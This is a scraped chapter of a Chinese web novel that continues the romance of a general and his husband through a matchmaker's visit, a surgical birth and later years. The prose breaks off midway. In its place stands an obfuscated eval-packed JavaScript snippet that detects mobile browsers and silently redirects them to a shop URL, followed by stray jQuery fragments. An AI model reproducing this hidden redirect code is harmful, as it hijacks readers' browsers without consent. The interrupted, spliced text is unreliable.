80. 番外(十四)
作品:《墨实》 封鹊多年的小心结终于舒展了开来,自然人逢喜事精神爽,愈发沦为彻彻底底的妻奴,宠得没边儿。岑最果说覃瑞瑞虽然生产之时要再走一趟鬼门关,但怀胎的过程中也有利于他修复浑身的经络骨骼,没准能让他每逢阴雨就苦不堪言的宿疾不药而愈。
于是封鹊告了半年的大假,专门陪着覃瑞瑞,如一个二十四孝老公一般尽心尽力地日日帮他按摩,捶腿。
不成想,兵部侍郎请人上门来说媒,找的是京都城鼎鼎有名的媒婆。那婆子经验老道,知道丈夫再娶定是要过正妻这一关,于是挑了个封鹊不在的日子上门,上来就劝覃瑞瑞要知情识趣,自己身怀六甲就要为丈夫再娶一房伺候。
覃瑞瑞挺着个快临盆的大肚子,倒也没多大反应,只是淡淡地说了一句:“我让他娶,他就敢娶吗?”
封鹊这日出门是因多年前一同戍边的一位老将解甲归田,他前去相送,没想到才送到城门口,王府的家丁就匆忙来报,说是王妃和一个媒婆打起来了。
封鹊听得眼皮直跳,赶紧和人打了声招呼就快马加鞭地打道回府,还没进王府大门,就见一个媒婆打扮的胖婆子从门内摔了出来。
那婆子坐在地上拍着大腿骂:“就没见过你这么蛮横的,为人妻子不为了丈夫张罗人伺候,此为善妒。这点容人的度量都没,你就不是真心待王爷的,以你们家王爷的那个名声,本来就少有好人家的姑娘肯嫁过来,若是此次这桩美事被你搅黄了,王爷还指不定如何记恨你呢,到时候失了宠沦为下堂夫可没地儿哭去。”
“去你妈的,你懂个屁,小爷我不是真心待我们家王爷?我告诉你,就是因为我爱他爱得要死,我才不忍心去为难他。封鹊的眼中只有我一个,他才不会去看别人一眼,你将那兵部侍郎的千金嫁进来就是守活寡害了人姑娘,你这黑心的婆子,如若再不走,小爷我打得你满地找牙。”,覃瑞瑞挺着个硕大的肚子,插着腰骂的可带劲。
那婆子还想说什么,就看到了封鹊面沉如水地站在不远处,不由心下一紧,连忙换了张嘴脸想去说服他。
没想到还没走进几步,就被封鹊满身散发出来的骇人戾气给逼退了,封鹊看都没看她一眼,只扔下一个字:“滚。”,说罢就快步去扶覃瑞瑞了,等挨着了人,立马换了副面孔,那股温柔劲儿快掐得出水来。
“好瑞瑞,别气了,小心动了胎气。”
“晚了,已经动了,我肚子有点坠痛,去找小果子来吧。”
封鹊闻言白了脸,手忙脚乱地将人抱了起来,回头恶狠狠地剜了那媒婆一眼。那眼神像冤魂索命一般恐怖,婆子惊魂未定地拍着大胸脯,扭着大胯走了,得赶紧回去告诉大人,这定远王府可不兴进啊。
封鹊将人抱进屋子里时发现覃瑞瑞身下的血已经将裤子浸湿了,他顿时慌了神,双手都在发抖,将人紧紧抱着怀中:“瑞瑞,你千万不能有事……我不能没有你的……这世上我只有你了……求你了,求你了,你别离开我。”,封鹊实在太害怕了,这种战栗感比在战场上的冷箭迎面袭来还要让人遍体生寒,他说到最后哽咽出声,眼泪忍不住的往下掉,落在了覃瑞瑞苍白如纸的脸上。
覃瑞瑞小口小口地喘着气,肚子越来越疼,疼得他卸了浑身的力气,只能勾了勾人的手,示意他低下头。
待封鹊附耳到他唇边,就听见他说:“别哭,我才不会死,我也容不得别人占有我的夫君,你听好了,我们还有一辈子呢,小爷爱你,爱得要死!”
“不许说死!呜——”
岑最果一进房就看到铁血将军哽咽如孩提,覃瑞瑞半身是血,嘴里正安慰着“孩提”。
但这些不影响他稳如老狗地拿着刀将孩子剖了出来,还缝了个极为漂亮的刀口,保证以后不会留下丑陋的疤痕。
没想到封鹊看都不看孩子一眼,直接跪在床边,握着尚未苏醒之人的手,嘴里一直念叨:“瑞瑞,咱们再也不生了,呜呜——”
“这孩子没人管,我带走了啊,是个男宝,还是个银实。”
封鹊头都没抬:“赶紧拿走吧,这小子不是什么好东西将我的瑞瑞折磨成这样。”
“我这两日住在你府上,方便照顾瑞瑞,孩子抱走了哈!”,岑最果的两个孩子都已经长大了,看到这种奶团子简直爱不释手,心道,罪魁祸首还不是你嘛,埋怨人孩子干啥。
封鹊衣不解带地照顾着覃瑞瑞,每日换药时,看着他肚子上那道长长的伤口就忍不住偷偷地抹眼泪。
好在覃瑞瑞第三日平旦时分就醒了过来,睁眼就看到一个胡子邋遢,蓬头垢面的大狗熊守在他床边正在打着小呼噜,覃瑞瑞稍微发出点动静,他就猛然睁开了眼睛,见覃瑞瑞醒了,立刻喜上眉梢:“瑞瑞,你醒啦,觉得怎么样,刀口疼得厉害吗?人难不难受?我马上去叫夫人过来。”
岑最果在覃瑞瑞的伤口上抹了一种麻药,倒是不太疼,就是躺了三个昼夜浑身酸疼,喉咙口也快要冒烟。
封鹊见他说不出话来,赶紧端来了水小口喂他,润过了嗓子,覃瑞瑞才算是真的活了过来,他开口第一句话:“我崽儿呢?”
封鹊一时凝噎,他该如何解释他都没去小崽儿一眼就直接丢给了岑最果,就连奶妈都是岑最果从宫中带来的。
“该是在睡觉吧,等会儿我就去抱来。”
可真的要他抱娃之时,他手忙脚乱地不知所措起来,这软趴趴的小崽子,生怕自己手一捏就坏了。然后他就用双手端着娃,像端着个火药包似的,岑最果看不下去了,心道,这人不如我家那位,至少小阿哥一个人就把孩子拉扯大了。“你应该这么抱,这只手在这边托着他的脑袋,欸,对啰!另一只手……不对不对,托这里……对啰。”
待封鹊好不容易将小崽子搬到覃瑞瑞房里时,他已经是满头大汗,比打了一场仗还累。
覃瑞瑞看着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265897|151705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己儿子,口中念叨:“再拿近些,我要摸摸他的小手……怎地如此软乎,比糕点还软,不过我觉得他长得像你,就眼睛像我。”
这时封鹊才生出些血脉相连的舐犊之情来,原来这就是他和瑞瑞的结晶,在他的人生中,头一次体会到了自己的生命得以延续,他和覃瑞瑞的爱,开出了花,又结出了果。
这个跟封鹊一个模子里刻出来的小团子被取名叫封应,本来封鹊要叫他封度,被覃瑞瑞骂得狗血淋头,别以为我不知道你叫他封度意思就是在知会我该封肚了。
小团子每日吃了睡睡了吃,醒了就睁着一双小狐狸眼找嬢嬢,被封鹊视作了一生之中最大的情敌。
又过了几年,崇北关守将年迈卸甲归田,作为北境边关第一要塞,一时之间朝廷竟无将可派,年近不惑的封鹊又一次披甲戍边,覃瑞瑞什么都没说,打点了行装随他一同前往,他们将封度留在了宫中和几个小孩儿一起在上书房读书写字,这是规矩也是封鹊的一点小心思,这下可没人跟他抢瑞瑞了,小崽子你就在宫中好好的学规矩吧。
覃瑞瑞也没闲着,他终于将铺子开到了北境,瑞果饼铺自此遍布了全国的大江南北。俩人在边境过了一段惬意潇洒的小日子,覃瑞瑞每日骑马,跑跑跳跳,居然枯木逢春筋骨结实了不少,一套五禽戏耍下来心不跳气不喘的。
三年后朝廷派去了封鹊的接班人,他们又一次回到了京城,魏瓒带着岑最果亲自来迎。
封鹊行了个军礼:“若大盛需要我,末将封鹊愿随时再为先锋。”
魏瓒扶起他,笑道:“你个老小子,别逞能了,如今该让位于后辈了,将来这大好河山都是他们的天下。”
覃瑞瑞还像以前那样抱着岑最果不撒手:“小果子,你可想死我了。”
岑最果一边搭上他的脉,一边说:“我前年还去看过你呢,你最近几年恢复的不错,这样我就放心了,不过还是要注意些,如今可不比十几岁。”
“好嘛好嘛,如今我又回来了,我这小破身子就靠你啦!”,覃瑞瑞想猴着岑最果,魏瓒不留痕迹地把自己媳妇儿往怀里扯了扯。
他转头对着封鹊道:“你家的应小子可不孬,前几日还和仇成池打了一架,小池可是今年的武状元,他比人小多了就敢往前冲,虽然打输了,倒也有几分你当年在沙场上的风采。”
“是吗?打输了?还输给了夏侯蔼那厮的儿子?那不行,我得去亲自指点指点他。”
魏瓒乜了他一眼,心道,你也打不过人爹。
岑最果从魏瓒怀中探出个脑袋跟覃瑞瑞说小话:“等开春天儿暖和了,我们打算去江南转转。你们到时候和我们一起呗,听夏侯蔼说江南四月天的烟雨可美了,他说要带我去坐乌蓬,喝荷叶酒。”
覃瑞瑞一听眼睛就亮了:“喝酒啊,好呀好呀!”
魏瓒和封鹊对视一眼,不悦道:“少跟夏侯蔼在一块儿玩儿。”